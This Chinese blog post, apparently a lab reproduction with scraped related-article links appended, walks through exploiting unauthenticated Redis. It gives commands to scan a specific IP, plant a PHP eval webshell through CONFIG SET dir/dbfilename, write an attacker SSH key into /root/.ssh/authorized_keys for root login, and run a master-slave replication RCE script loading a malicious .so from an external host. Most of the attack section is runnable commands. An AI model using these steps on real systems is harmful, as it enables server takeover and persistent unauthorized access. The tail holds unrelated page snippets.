redis环境搭建


下载有漏洞的redis版本

wget http://download.redis.io/releases/redis-3.2.11.tar.gz



编译文件

make



进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf到etc目录

cp redis-server /usr/bin/

cp redis-cli /usr/bin/

cp redis.conf /etc/



编辑/etc/redis.conf文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务



使用redis-server /etc/redis.conf启动redis服务



攻击机直接下载redis拷贝文件即可

漏洞利用


使用namp检测远程主机redis开放情况

nmap -A -p 6379 --script redis-info 94.191.84.130



直接尝试登录redis

redis-cli -h 94.191.84.130

使用info查看信息



低权限写文件(需要有增删改查权限)

设置备份目录

CONFIG SET dir /tmp

设置文件名

CONFIG SET dbfilename webshell.php

向备份文件中写入一句话

CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

保存

save



利用"公私钥"认证获取root权限,ssh免密登陆目标服务器


  1. 生成公私钥并导出公钥为txt格式
  2. 写入公钥到redis
  3. 连接目标redis服务
  4. 设置备份目录为SSH公钥存放路径/root/.ssh
  5. 设置备份文件名
  6. 保存备份(写入公钥)
  7. 免密ssh登陆

生成公私钥

ssh-keygen -t rsa



导出公钥为txt格式

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt



写入redis缓存

cat 1.txt | redis-cli -h 94.191.84.130 -x set crack



连接redis查看并设置备份目录

redis-cli -h 94.191.84.130

CONFIG GET dir

CONFIG SET dir /root/.ssh



设置备份文件名并保存备份文件

CONFIG set dbfilename authorized_keys

save



使用私钥免密登陆ssh

ssh -i id_rsa root@94.191.84.130

Redis 基于主从复制的 RCE 利用方式


1 . 连接远程未授权redis服务器

2 .设置主服务器为自己服务器

3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上

4.然后在从机上加载so文件

5.直接执行恶意命令

先本地开启一个redis>4.0的版本,然后执行

python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so

redis未授权访问简单总结的更多相关文章

  1. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  2. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  3. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

  4. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  5. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  6. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

  7. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  8. 基于Redis未授权访问的挖矿蠕虫分析

    0x01 攻击方式 利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏. 通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵.脚本里有个python函数. imp ...

  9. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

随机推荐

  1. 基于 abp vNext 和 .NET Core 开发博客项目 - Blazor 实战系列(七)

    系列文章 基于 abp vNext 和 .NET Core 开发博客项目 - 使用 abp cli 搭建项目 基于 abp vNext 和 .NET Core 开发博客项目 - 给项目瘦身,让它跑起来 ...

  2. winxp系统连接服务器丢包解决方法

    winxp系统连接服务器丢包解决方法 MFC编写一个打开网页的程序,发生异常没有获取到数据. 分析步骤: 1. 用getLastError()获取到的信息,(2)- 系统找不到指定的文件. 2. 用浏 ...

  3. cocos2dx 启用cjson

    在appDelegate.cpp文件中添加 #if __cplusplus extern "C" { // 加入此代码的目的,防止污染引擎的scripting目录 #include ...

  4. linux环境下搭建Jenkins持续集成(Jenkins+git+shell+maven+tomact)

    准备环境 jenkins.war包 ,jdk1.8  ,tomact , maven,git 1.Jenkins  war包,下载地址https://jenkins.io/zh/download/  ...

  5. Jmeter 测试接口

    创建线程组 添加HTTP请求 查看结果树

  6. 第一章:开始启程-你的第一行Android代码

    Android 系统为开发者提供了什么? 四大组件 活动(Activity):界面 服务(Service):后台默默运行 广播接收器(Broadcast Receiver):接收.发送广播消息 内容提 ...

  7. 利用EasyMock生成数据库连接简单测试示例

    package demo.mock; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.Re ...

  8. nmap二层发现

    使用nmap进行arp扫描要使用一个参数:-sn,该参数表明屏蔽端口扫描而只进行arp扫描. nmap支持ip段扫描,命令:nmap -sn 192.168.1.0/24 nmap速度比arping快 ...

  9. 技术干货丨卷积神经网络之LeNet-5迁移实践案例

    摘要:LeNet-5是Yann LeCun在1998年设计的用于手写数字识别的卷积神经网络,当年美国大多数银行就是用它来识别支票上面的手写数字的,它是早期卷积神经网络中最有代表性的实验系统之一.可以说 ...

  10. 状态机模式 与 ajax 的结合运用

    太神奇了,昨晚做了个梦,梦中我悟出一个道理:凡是涉及到异步操作而且需要返回值的函数,一定要封装成 Promise 的形式,假如返回值取决于多个异步操作的结果,那么需要对每个异步操作进行状态的设计,而且 ...